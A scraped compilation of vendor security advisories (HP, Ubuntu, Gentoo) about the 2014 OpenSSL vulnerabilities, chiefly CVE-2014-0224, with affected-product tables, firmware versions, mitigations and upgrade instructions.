MSR93X Fix in progress use mitigations JG511A HP MSR930 Router JG512A HP MSR930 Wireless Router JG513A HP MSR930 3G Router JG514A HP MSR931 Router JG515A HP MSR931 3G Router JG516A HP MSR933 Router JG517A HP MSR933 3G Router JG518A HP MSR935 Router JG519A HP MSR935 Wireless Router JG520A HP MSR935 3G Router JG531A HP MSR931 Dual 3G Router JG596A HP MSR930 4G LTE/3G CDMA Router JG597A HP MSR936 Wireless Router JG665A HP MSR930 4G LTE/3G WCDMA Global Router JG704A HP MSR930 4G LTE/3G WCDMA ATT Router

MSR93X Russian version Fix in progress use mitigations JG511A HP MSR930 Router JG512A HP MSR930 Wireless Router JG513A HP MSR930 3G Router JG514A HP MSR931 Router JG515A HP MSR931 3G Router JG516A HP MSR933 Router JG517A HP MSR933 3G Router JG518A HP MSR935 Router JG519A HP MSR935 Wireless Router JG520A HP MSR935 3G Router JG531A HP MSR931 Dual 3G Router JG596A HP MSR930 4G LTE/3G CDMA Router JG597A HP MSR936 Wireless Router JG665A HP MSR930 4G LTE/3G WCDMA Global Router JG704A HP MSR930 4G LTE/3G WCDMA ATT Router

MSR1000 Fix in progress use mitigations JG732A HP MSR1003-8 AC Router

MSR2000 Fix in progress use mitigations JG411A HP MSR2003 AC Router

MSR3000 Fix in progress use mitigations JG404A HP MSR3064 Router JG405A HP MSR3044 Router JG406A HP MSR3024 AC Router JG409A HP MSR3012 AC Router JG861A HP MSR3024 TAA-compliant AC Router

MSR4000 Fix in progress use mitigations JG402A HP MSR4080 Router Chassis JG403A HP MSR4060 Router Chassis JG412A HP MSR4000 MPU-100 Main Processing Unit

F5000 Fix in progress use mitigations JG216A HP F5000 Firewall Standalone Chassis JD259A HP A5000-A5 VPN Firewall Chassis H3C SecPath F5000-A5 Host System (0150A0AG)

U200S and CS Fix in progress use mitigations JD268A HP 200-CS UTM Appliance JD273A HP U200-S UTM Appliance H3C SecPath U200-S (0235A36N)

U200A and M Fix in progress use mitigations JD274A HP 200-M UTM Appliance JD275A HP U200-A UTM Appliance H3C SecPath U200-A (0235A36Q)

F1000A and S Fix in progress use mitigations JD270A HP S1000-S VPN Firewall Appliance JD271A HP S1000-A VPN Firewall Appliance JG213A HP F1000-S-EI VPN Firewall Appliance JG214A HP F1000-A-EI VPN Firewall Appliance

SecBlade FW Fix in progress use mitigations JC635A HP 12500 VPN Firewall Module JD245A HP 9500 VPN Firewall Module JD249A HP 10500/7500 Advanced VPN Firewall Mod JD250A HP 6600 Firewall Processing Rtr Module JD251A HP 8800 Firewall Processing Module JD255A HP 5820 VPN Firewall Module H3C S9500E SecBlade VPN Firewall Module (0231A0AV) H3C S7500E SecBlade VPN Firewall Module (0231A832) H3C SR66 Gigabit Firewall Module (0231A88A) H3C SR88 Firewall Processing Module (0231A88L) H3C S5820 SecBlade VPN Firewall Module (0231A94J)

F1000E Fix in progress use mitigations JD272A HP S1000-E VPN Firewall Appliance

VSR1000 Fix in progress use mitigations JG810AAE HP VSR1001 Virtual Services Router JG811AAE HP VSR1001 Virtual Services Router JG812AAE HP VSR1004 Virtual Services Router JG813AAE HP VSR1008 Virtual Services Router

WX5002/5004 Fix in progress use mitigations JD441A HP 5800 ACM for 64-256 APs JD447B HP WX5002 Access Controller JD448A HP A-WX5004 Access Controller JD448B HP WX5004 Access Controller JD469A HP A-WX5004 (3Com) Access Controller JG261A HP 5800 Access Controller OAA TAA Mod

HP 850/870 Fix in progress use mitigations JG723A HP 870 Unified Wired-WLAN Appliance JG725A HP 870 Unifd Wrd-WLAN TAA Applnc

HP 830 Fix in progress use mitigations JG640A HP 830 24P PoE+ Unifd Wired-WLAN Swch JG641A HP 830 8P PoE+ Unifd Wired-WLAN Swch JG646A HP 830 24-Port PoE+ Wrd-WLAN TAA Switch JG647A HP 830 8-Port PoE+ Wrd-WLAN TAA Switch

HP 6000 Fix in progress use mitigations JG639A HP 10500/7500 20G Unified Wired-WLAN Mod JG645A HP 10500/7500 20G Unifd Wrd-WLAN TAA Mod

M220 Fix in progress use mitigations J9798A HP M220 802.11n AM Access Point J9799A HP M220 802.11n WW Access Point

NGFW Fix in progress use mitigations JC882A HP S1050F NGFW Aplnc w/DVLabs 1-yr Lic JC883A HP S3010F NGFW Aplnc w/DVLabs 1-yr Lic JC884A HP S3020F NGFW Aplnc w/DVLabs 1-yr Lic JC885A HP S8005F NGFW Aplnc w/DVLabs 1-yr Lic JC886A HP S8010F NGFW Aplnc w/DVLabs 1-yr Lic

iMC UAM 7.0 Fix in progress use mitigations JD144A HP IMC UAM S/W Module w/200-User License JF388A HP IMC UAM S/W Module w/200-user License JD435A HP IMC EAD Client Software JF388AAE HP IMC UAM S/W Module w/200-user E-LTU JG752AAE HP IMC UAM SW Mod w/ 50-user E-LTU

iMC EAD 7.0 Fix in progress use mitigations JF391AAE HP IMC EAD S/W Module w/200-user E-LTU JG754AAE HP IMC EAD SW Module w/ 50-user E-LTU JD147A HP IMC Endpoint Admission Defense Software Module with 200-user License JF391A HP IMC EAD S/W Module w/200-user License

iMC PLAT 7.0 Fix in progress use mitigations JF377AAE HP IMC Standard Edition Software Platform with 100-node E-LTU JG549AAE HP PCM+ to IMC Std Upgr w/200-node E-LTU JG747AAE HP IMC Standard Software Platform with 50-node E-LTU JG768AAE HP PCM+ to IMC Std Upg w/ 200-node E-LTU JD125A HP IMC Standard Edition Software Platform with 100-node License JD815A HP IMC Standard Edition Software Platform with 100-node License JD816A HP A-IMC Standard Edition Software DVD Media JF377A HP IMC Standard Edition Software Platform with 100-node License JF288AAE HP Network Director to Intelligent Management Center Upgrade E-LTU JF289AAE HP Enterprise Management System to Intelligent Management Center Upgrade E-LTU TJ635AAE HP IMC for ANM 50 node pack SW E-LTU (On HP Softwares CPL not HPNs) JF378AAE HP IMC Enterprise Edition Software Platform with 200-Node E-LTU JG748AAE HP IMC Enterprise Software Platform with 50-node E-LTU JD126A HP A-IMC Enterprise Software Platform with 200-node License JD808A HP A-IMC Enterprise Software Platform with 200-node License JD814A HP A-IMC Enterprise Edition Software DVD Media JF378A HP IMC Enterprise Edition Software Platform with 200-node License JG546AAE HP IMC Basic SW Platform w/50-node E-LTU JG548AAE HP PCM+ to IMC Bsc Upgr w/50-node E-LTU JG550AAE HP PMM to IMC Bsc WLM Upgr w/150 AP E-LTU JG590AAE HP IMC Bsc WLAN Mgr SW Pltfm 50 AP E-LTU JG659AAE HP IMC Smart Connect Virtual Appliance Edition E-LTU JG766AAE HP IMC Smart Connect Virtual Appliance Edition E-LTU JG660AAE HP IMC Smart Connect w / WLAN Manager Virtual Appliance Edition E-LTU JG767AAE HP IMC Smart Connect with Wireless Service Manager Virtual Appliance Software E-LTU

HISTORY Version:1 (rev.1) - 20 June 2014 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.

Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HP Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hp.com.

Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com

Subscribe: To initiate a subscription to receive future HP Security Bulletin alerts via Email: http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins

Security Bulletin Archive: A list of recently released Security Bulletins is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/

Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.

3C = 3COM 3P = 3rd Party Software GN = HP General Software HF = HP Hardware and Firmware MP = MPE/iX MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PI = Printing and Imaging PV = ProCurve ST = Storage Software TU = Tru64 UNIX UX = HP-UX

Copyright 2014 Hewlett-Packard Development Company, L.P. Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.

-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.13 (GNU/Linux)

iEYEARECAAYFAlOkrM4ACgkQ4B86/C0qfVn7/QCeK5T1H9dXfVQgIKSr5USqLmvq CtMAnjujH7e5aXfIOvxyyuB0FcSwIWCM =CEL7 -----END PGP SIGNATURE----- . OpenSSL is a 3rd party product that is embedded with some HP printer products. This bulletin notifies HP Printer customers about impacted products. To obtain the updated firmware, go to www.hp.com and follow these steps:

Select "Drivers & Software". Enter the appropriate product name listed in the table below into the search field. Click on "Search". Click on the appropriate product. Under "Select operating system" click on "Cross operating system (BIOS, Firmware, Diagnostics, etc.)" Note: If the "Cross operating system ..." link is not present, select applicable Windows operating system from the list. Select the appropriate firmware update under "Firmware".

Firmware Updates Table

Product Name Model Number Firmware Revision

HP Color LaserJet CM4540 MFP CC419A, CC420A, CC421A v 2302963_436067 (or higher)

HP Color LaserJet CP5525 CE707A,CE708A,CE709A v 2302963_436070 (or higher)

HP Color LaserJet Enterprise M750 D3L08A, D3L09A, D3L10A v 2302963_436077 (or higher)

HP Color LaserJet M651 CZ255A, CZ256A, CZ257A, CZ258A v 2302963_436073 (or higher)

HP Color LaserJet M680 CZ248A, CZ249A v 2302963_436072 (or higher)

HP Color LaserJet Flow M680 CZ250A, CA251A v 2302963_436072 (or higher)

HP LaserJet Enterprise 500 color MFP M575dn CD644A, CD645A v 2302963_436081 (or higher)

HP LaserJet Enterprise 500 MFP M525f CF116A, CF117A v 2302963_436069 (or higher)

HP LaserJet Enterprise 600 M601 Series CE989A, CE990A v 2302963_436082 (or higher)

HP LaserJet Enterprise 600 M602 Series CE991A, CE992A, CE993A v 2302963_436082 (or higher)

HP LaserJet Enterprise 600 M603 Series CE994A, CE995A, CE996A v 2302963_436082 (or higher)

HP LaserJet Enterprise MFP M630 series B3G84A, B3G85A, B3G86A, J7X28A v 2303714_233000041 (or higher)

HP LaserJet Enterprise 700 color M775 series CC522A, CC523A, CC524A, CF304A v 2302963_436079 (or higher)

HP LaserJet Enterprise 700 M712 series CF235A, CF236A, CF238A v 2302963_436080 (or higher)

HP LaserJet Enterprise 800 color M855 A2W77A, A2W78A, A2W79A v 2302963_436076 (or higher)

HP LaserJet Enterprise 800 color MFP M880 A2W76A, A2W75A, D7P70A, D7P71A v 2302963_436068 (or higher)

HP LaserJet Enterprise Color 500 M551 Series CF081A,CF082A,CF083A v 2302963_436083 (or higher)

HP LaserJet Enterprise color flow MFP M575c CD646A v 2302963_436081 (or higher)

HP LaserJet Enterprise flow M830z MFP CF367A v 2302963_436071 (or higher)

HP LaserJet Enterprise flow MFP M525c CF118A v 2302963_436069 (or higher)

HP LaserJet Enterprise M4555 MFP CE502A,CE503A, CE504A, CE738A v 2302963_436064 (or higher)

HP LaserJet Enterprise M806 CZ244A, CZ245A v 2302963_436075 (or higher)

HP LaserJet Enterprise MFP M725 CF066A, CF067A, CF068A, CF069A v 2302963_436078 (or higher)

HP Scanjet Enterprise 8500 Document Capture Workstation L2717A, L2719A v 2302963_436065 (or higher)

OfficeJet Enterprise Color MFP X585 B5L04A, B5L05A,B5L07A v 2302963_436066 (or higher)

OfficeJet Enterprise Color X555 C2S11A, C2S12A v 2302963_436074 (or higher)

HP Color LaserJet CP3525 CC468A, CC469A, CC470A, CC471A v 06.183.1 (or higher)

HP LaserJet M4345 Multifunction Printer CB425A, CB426A, CB427A, CB428A v 48.306.1 (or higher)

HP LaserJet M5025 Multifunction Printer Q7840A v 48.306.1 (or higher)

HP Color LaserJet CM6040 Multifunction Printer Q3938A, Q3939A v 52.256.1 (or higher)

HP Color LaserJet Enterprise CP4525 CC493A, CC494A, CC495A v 07.164.1 (or higher)

HP Color LaserJet Enterprise CP4025 CC489A, CC490A v 07.164.1 (or higher)

HP LaserJet M5035 Multifunction Printer Q7829A, Q7830A, Q7831A v 48.306.1 (or higher)

HP LaserJet M9050 Multifunction Printer CC395A v 51.256.1 (or higher)

HP LaserJet M9040 Multifunction Printer CC394A v 51.256.1 (or higher)

HP Color LaserJet CM4730 Multifunction Printer CB480A, CB481A, CB482A, CB483A v 50.286.1 (or higher)

HP LaserJet M3035 Multifunction Printer CB414A, CB415A, CC476A, CC477A v 48.306.1 (or higher)

HP 9250c Digital Sender CB472A v 48.293.1 (or higher)

HP LaserJet Enterprise P3015 CE525A,CE526A,CE527A,CE528A,CE595A v 07.186.1 (or higher)

HP LaserJet M3027 Multifunction Printer CB416A, CC479A v 48.306.1 (or higher)

HP LaserJet CM3530 Multifunction Printer CC519A, CC520A v 53.236.1 (or higher)

HP Color LaserJet CP6015 Q3931A, Q3932A, Q3933A, Q3934A, Q3935A v 04.203.1 (or higher)

HP LaserJet P4515 CB514A,CB515A, CB516A, CB517A v 04.213.1 (or higher)

HP Color LaserJet CM6030 Multifunction Printer CE664A, CE665A v 52.256.1 (or higher)

HP LaserJet P4015 CB509A, CB526A, CB511A, CB510A v 04.213.1 (or higher)

HP LaserJet P4014 CB507A, CB506A, CB512A v 04.213.1 (or higher)

HISTORY Version:1 (rev.1) - 22 September 2014 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy

Show details on source website


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    "data": "OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCipherSpec messages, which allows man-in-the-middle attackers to trigger use of a zero-length master key in certain OpenSSL-to-OpenSSL communications, and consequently hijack sessions or obtain sensitive information, via a crafted TLS handshake, aka the \"CCS Injection\" vulnerability. OpenSSL is prone to security-bypass vulnerability. \nSuccessfully exploiting this issue may allow attackers to obtain sensitive information by conducting a man-in-the-middle attack. This may lead to other attacks. \nVersions prior to OpenSSL 1.0.1 and 1.0.2-beta1 are vulnerable. \n\nHP Connect IT / HP SPM CIT - 9.5x\n Please install: HP Connect IT 9.53.P2\n\nFor Windows\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00070\n\nFor Linux\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00071\n\nFor AIX\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00072\n\nFor HPUX\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00073\n\nFor Solaris\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00074\n\nHP Connect IT / HP SPM CIT - 9.4x\n Please install: HP Connect IT 9.40.P1\n\nFor windows(en)\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00075\n\nFor Linux(en)\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00076\n\nFor AIX(en)\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00077\n\nFor HPUX(en)\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00078\n\nFor Solaris(en)\n http://support.openview.hp.com/selfsolve/document/LID/HPCIT_00079\n\nHP Connect IT / HP SPM AM  5.2x\n Please install: HP Connect IT 9.41.P1\n\nHISTORY\nVersion:1 (rev.1) - 19 August 2014 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running HP software products should be applied in\naccordance with the customer\u0027s patch management policy. ============================================================================\nUbuntu Security Notice USN-2232-3\nJune 23, 2014\n\nopenssl regression\n============================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 14.04 LTS\n- Ubuntu 13.10\n- Ubuntu 12.04 LTS\n- Ubuntu 10.04 LTS\n\nSummary:\n\nUSN-2232-1 introduced a regression in OpenSSL. The upstream fix for\nCVE-2014-0224 caused a regression for certain applications that use\nrenegotiation, such as PostgreSQL. This update fixes the problem. \n\nOriginal advisory details:\n\n J=C3=BCri Aedla discovered that OpenSSL incorrectly handled invalid DTLS\n fragments. This issue only affected Ubuntu 12.04 LTS, Ubuntu 13.10, and\n Ubuntu 14.04 LTS. (CVE-2014-0195)\n  Imre Rad discovered that OpenSSL incorrectly handled DTLS recursions. A\n remote attacker could use this issue to cause OpenSSL to crash, resulting\n in a denial of service. (CVE-2014-0221)\n  KIKUCHI Masashi discovered that OpenSSL incorrectly handled certain\n handshakes. \n (CVE-2014-0224)\n  Felix Gr=C3=B6bert and Ivan Fratri=C4=87 discovered that OpenSSL incorrectly handled\n anonymous ECDH ciphersuites. A remote attacker could use this issue to\n cause OpenSSL to crash, resulting in a denial of service. This issue only\n affected Ubuntu 12.04 LTS, Ubuntu 13.10, and Ubuntu 14.04 LTS. \n (CVE-2014-3470)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 14.04 LTS:\n  libssl1.0.0                     1.0.1f-1ubuntu2.4\n\nUbuntu 13.10:\n  libssl1.0.0                     1.0.1e-3ubuntu1.6\n\nUbuntu 12.04 LTS:\n  libssl1.0.0                     1.0.1-4ubuntu5.16\n\nUbuntu 10.04 LTS:\n  libssl0.9.8                     0.9.8k-7ubuntu8.19\n\nAfter a standard system update you need to reboot your computer to make all\nthe necessary changes. \n\nReferences:\n  http://www.ubuntu.com/usn/usn-2232-3\n  http://www.ubuntu.com/usn/usn-2232-1\n  https://launchpad.net/bugs/1332643\n\nPackage Information:\n  https://launchpad.net/ubuntu/+source/openssl/1.0.1f-1ubuntu2.4\n  https://launchpad.net/ubuntu/+source/openssl/1.0.1e-3ubuntu1.6\n  https://launchpad.net/ubuntu/+source/openssl/1.0.1-4ubuntu5.16\n  https://launchpad.net/ubuntu/+source/openssl/0.9.8k-7ubuntu8.19\n. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory                           GLSA 201407-05\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n                                            http://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: High\n    Title: OpenSSL: Multiple vulnerabilities\n     Date: July 27, 2014\n     Bugs: #512506\n       ID: 201407-05\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n========\n\nMultiple vulnerabilities have been found in OpenSSL, possibly allowing\nremote attackers to execute arbitrary code. \n\nAffected packages\n=================\n\n    -------------------------------------------------------------------\n     Package              /     Vulnerable     /            Unaffected\n    -------------------------------------------------------------------\n  1  dev-libs/openssl           \u003c 1.0.1h-r1             *\u003e= 0.9.8z_p5\n                                                        *\u003e= 0.9.8z_p4\n                                                        *\u003e= 0.9.8z_p1\n                                                        *\u003e= 0.9.8z_p3\n                                                        *\u003e= 0.9.8z_p2\n                                                           *\u003e= 1.0.0m\n                                                         \u003e= 1.0.1h-r1\n\nDescription\n===========\n\nMultiple vulnerabilities have been discovered in OpenSSL. \n\nWorkaround\n==========\n\nThere is no known workaround at this time. \n\nResolution\n==========\n\nAll OpenSSL users should upgrade to the latest version:\n\n  # emerge --sync\n  # emerge --ask --oneshot --verbose \"\u003e=dev-libs/openssl-1.0.1h-r1\"\n\nReferences\n==========\n\n[ 1 ] CVE-2010-5298\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-5298\n[ 2 ] CVE-2014-0195\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0195\n[ 3 ] CVE-2014-0198\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0198\n[ 4 ] CVE-2014-0221\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0221\n[ 5 ] CVE-2014-0224\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0224\n[ 6 ] CVE-2014-3470\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3470\n[ 7 ] OpenSSL Security Advisory [05 Jun 2014]\n      http://www.openssl.org/news/secadv_20140605.txt\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n http://security.gentoo.org/glsa/glsa-201407-05.xml\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2014 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n. The bulletin does not apply to any other 3rd party application\n(e.g. operating system, web server, or application server) that may be\nrequired to be installed by the customer according instructions in the\nproduct install guide. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/\ndocDisplay?docId=emr_na-c04347622\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c04347622\nVersion: 1\n\nHPSBHF03052 rev.1 - HP Intelligent Management Center (iMC), HP Network\nProducts including H3C and 3COM Routers and Switches running OpenSSL, Remote\nDenial of Service (DoS), Code Execution, Unauthorized Access, Modification or\nDisclosure of Information\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2014-06-20\nLast Updated: 2014-06-20\n\nPotential Security Impact: Remote Denial of Service (DoS), code execution,\nunauthorized access, modification of information, disclosure of information\n\nSource: Hewlett-Packard Company, HP Software Security Response Team\n\nVULNERABILITY SUMMARY\nPotential security vulnerabilities have been identified with HP Intelligent\nManagement Center (iMC), HP Network Products including 3COM and H3C routers\nand switches running OpenSSL. The vulnerabilities could be exploited remotely\nto create a Denial of Service (DoS), execute code, allow unauthorized access,\nmodify or disclose information. \n\nReferences:\n\nCVE-2010-5298 Remote Denial of Service (DoS) or Modification of Information\nCVE-2014-0198 Remote Unauthorized Access (only iMC impacted)\nCVE-2014-0224 Remote Unauthorized Access or Disclosure of Information\nSSRT101561\nNote: All products listed are impacted by CVE-2014-0224 . iMC is also\nimpacted by CVE-2014-0198 and CVE-2010-5298\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \nPlease refer to the RESOLUTION\n section below for a list of impacted products. \n\nBACKGROUND\n\nCVSS 2.0 Base Metrics\n===========================================================\n  Reference              Base Vector             Base Score\nCVE-2010-5298    (AV:N/AC:H/Au:N/C:N/I:P/A:P)       4.0\nCVE-2014-0198    (AV:N/AC:M/Au:N/C:N/I:N/A:P)       4.3\nCVE-2014-0224    (AV:N/AC:M/Au:N/C:P/I:P/A:P)       6.8\n===========================================================\n             Information on CVSS is documented\n            in HP Customer Notice: HPSN-2008-002\n\nRESOLUTION\nOn June 5th 2014, OpenSSL.org issued an advisory with several CVE\nvulnerabilities. HP Networking is working to release fixes for these\nvulnerabilities that impact the products in the table below. As fixed\nsoftware is made available, this security bulletin will be updated to show\nthe fixed versions. Until the software fixes are available, HP Networking is\nproviding the following information including possible workarounds to\nmitigate the risks of these vulnerabilities. \n\nDescription\n\nThe most serious issue reported is CVE-2014-0224 and it is the one discussed\nhere. To take advantage CVE-2014-0224, an attacker must:\n\nbe in between the OpenSSL client and OpenSSL server. \nbe capable of intercepting and modifying packets between the OpenSSL client\nand OpenSSL server in real time. \n\nWorkarounds\n\nHP Networking equipment is typically deployed inside firewalls and access to\nmanagement interfaces and other protocols is more tightly controlled than in\npublic environments. This deployment and security restrictions help to reduce\nthe possibility of an attacker being able to intercept both OpenSSL client\nand OpenSSL server traffic. \n\nFollowing the guidelines in the Hardening Comware-based devices can help to\nfurther reduce man-in-the-middle opportunities:\n\nhttp://h20564.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=c03536\n920\n\nFor an HP Networking device acting as an OpenSSL Server, using a patched\nOpenSSL client or non-OpenSSL client eliminates the risk. As an example, most\nmodern web browsers do not use the OpenSSL client and the sessions between\nthe HP Networking OpenSSL server and the non-OpenSSL client are not at risk\nfor this attack. For HP Networking Equipment that is using an OpenSSL client,\npatching the OpenSSL server will eliminate the risk of this attack. \n\nProtocol Notes\n\nThe following details the protocols that use OpenSSL in Comware v5 and\nComware v7:\n\nComware V7:\n\nServer:\n\nFIPS/HTTPS/Load Balancing/Session Initiation Protocol\n\nClient:\n\nLoad Balancing/OpenFlow/Session Initiation Protocol/State Machine Based\nAnti-Spoofing/Dynamic DNS\n\nComware V5:\n\nServer:\n\nCAPWAP/EAP/SSLVPN\n\nClient:\n\nDynamic DNS\n\nFamily\n Fixed Version\n HP Branded Products Impacted\n H3C Branded Products Impacted\n 3Com Branded Products Impacted\n\n12900 Switch Series\n Fix in progress\nuse mitigations\n JG619A HP FF 12910 Switch AC Chassis\nJG621A HP FF 12910 Main Processing Unit\nJG632A HP FF 12916 Switch AC Chassis\nJG634A HP FF 12916 Main Processing Unit\n\n12500\n Fix in progress\nuse mitigations\n JC085A HP A12518 Switch Chassis\nJC086A HP A12508 Switch Chassis\nJC652A HP 12508 DC Switch Chassis\nJC653A HP 12518 DC Switch Chassis\nJC654A HP 12504 AC Switch Chassis\nJC655A HP 12504 DC Switch Chassis\nJF430A HP A12518 Switch Chassis\nJF430B HP 12518 Switch Chassis\nJF430C HP 12518 AC Switch Chassis\nJF431A HP A12508 Switch Chassis\nJF431B HP 12508 Switch Chassis\nJF431C HP 12508 AC Switch Chassis\nJC072B HP 12500 Main Processing Unit\nJC808A HP 12500 TAA Main Processing Unit\n H3C S12508 Routing Switch(AC-1) (0235A0GE)\nH3C S12518 Routing Switch(AC-1) (0235A0GF)\nH3C S12508 Chassis (0235A0E6)\nH3C S12508 Chassis (0235A38N)\nH3C S12518 Chassis (0235A0E7)\nH3C S12518 Chassis (0235A38M)\n\n12500 (Comware v7)\n Fix in progress\nuse mitigations\n JC085A HP A12518 Switch Chassis\nJC086A HP A12508 Switch Chassis\nJC652A HP 12508 DC Switch Chassis\nJC653A HP 12518 DC Switch Chassis\nJC654A HP 12504 AC Switch Chassis\nJC655A HP 12504 DC Switch Chassis\nJF430A HP A12518 Switch Chassis\nJF430B HP 12518 Switch Chassis\nJF430C HP 12518 AC Switch Chassis\nJF431A HP A12508 Switch Chassis\nJF431B HP 12508 Switch Chassis\nJF431C HP 12508 AC Switch Chassis\nJC072B HP 12500 Main Processing Unit\nJG497A HP 12500 MPU w/Comware V7 OS\nJG782A HP FF 12508E AC Switch Chassis\nJG783A HP FF 12508E DC Switch Chassis\nJG784A HP FF 12518E AC Switch Chassis\nJG785A HP FF 12518E DC Switch Chassis\nJG802A HP FF 12500E MPU\n H3C S12508 Routing Switch(AC-1) (0235A0GE)\nH3C S12518 Routing Switch(AC-1) (0235A0GF)\nH3C S12508 Chassis (0235A0E6)\nH3C S12508 Chassis (0235A38N)\nH3C S12518 Chassis (0235A0E7)\nH3C S12518 Chassis (0235A38M)\n\n11900 Switch Series\n Fix in progress\nuse mitigations\n JG608A HP FF 11908-V Switch Chassis\nJG609A HP FF 11900 Main Processing Unit\n\n10500 Switch Series (Comware v5)\n Fix in progress\nuse mitigations\n JC611A HP 10508-V Switch Chassis\nJC612A HP 10508 Switch Chassis\nJC613A HP 10504 Switch Chassis\nJC614A HP 10500 Main Processing Unit\nJC748A HP 10512 Switch Chassis\nJG375A HP 10500 TAA Main Processing Unit\nJG820A HP 10504 TAA Switch Chassis\nJG821A HP 10508 TAA Switch Chassis\nJG822A HP 10508-V TAA Switch Chassis\nJG823A HP 10512 TAA Switch Chassis\n\n10500 Switch Series (Comware v7)\n Fix in progress\nuse mitigations\n JC611A HP 10508-V Switch Chassis\nJC612A HP 10508 Switch Chassis\nJC613A HP 10504 Switch Chassis\nJC748A HP 10512 Switch Chassis\nJG820A HP 10504 TAA Switch Chassis\nJG821A HP 10508 TAA Switch Chassis\nJG822A HP 10508-V TAA Switch Chassis\nJG823A HP 10512 TAA Switch Chassis\nJG496A HP 10500 Type A MPU w/Comware v7 OS\n\n9500E\n Fix in progress\nuse mitigations\n JC124A HP A9508 Switch Chassis\nJC124B HP 9505 Switch Chassis\nJC125A HP A9512 Switch Chassis\nJC125B HP 9512 Switch Chassis\nJC474A HP A9508-V Switch Chassis\nJC474B HP 9508-V Switch Chassis\n H3C S9505E Routing-Switch Chassis (0235A0G6)\nH3C S9508E-V Routing-Switch Chassis (0235A38Q)\nH3C S9512E Routing-Switch Chassis (0235A0G7)\nH3C S9508E-V Routing-Switch Chassis (0235A38Q)\nH3C S9505E Chassis w/ Fans (0235A38P)\nH3C S9512E Chassis w/ Fans (0235A38R)\n\nRouter 8800\n Fix in progress\nuse mitigations\n JC147A HP A8802 Router Chassis\nJC147B HP 8802 Router Chassis\nJC148A HP A8805 Router Chassis\nJC148B HP 8805 Router Chassis\nJC149A HP A8808 Router Chassis\nJC149B HP 8808 Router Chassis\nJC150A HP A8812 Router Chassis\nJC150B HP 8812 Router Chassis\nJC141A HP 8802 Main Control Unit Module\nJC138A HP 8805/08/12 (1E) Main Cntrl Unit Mod\nJC137A HP 8805/08/12 (2E) Main Cntrl Unit Mod\n H3C SR8805 10G Core Router Chassis (0235A0G8)\nH3C SR8808 10G Core Router Chassis (0235A0G9)\nH3C SR8812 10G Core Router Chassis (0235A0GA)\nH3C SR8802 10G Core Router Chassis (0235A0GC)\nH3C SR8802 10G Core Router Chassis (0235A31B)\nH3C SR8805 10G Core Router Chassis (0235A31C)\nH3C SR8808 10G Core Router Chassis (0235A31D)\nH3C SR8812 10G Core Router Chassis (0235A31E)\n\n7500 Switch Series\n Fix in progress\nuse mitigations\n JC666A HP A7503-S 144 Gbps Fab/MPU w 24p Gig-T\nJC697A HP A7502 TAA Main Processing Unit\nJC698A HP A7503S 144 Gbps TAA Fab/MPU w 24p GbE\nJC699A HP A7500 384Gbps TAA Fab/MPU w 2p 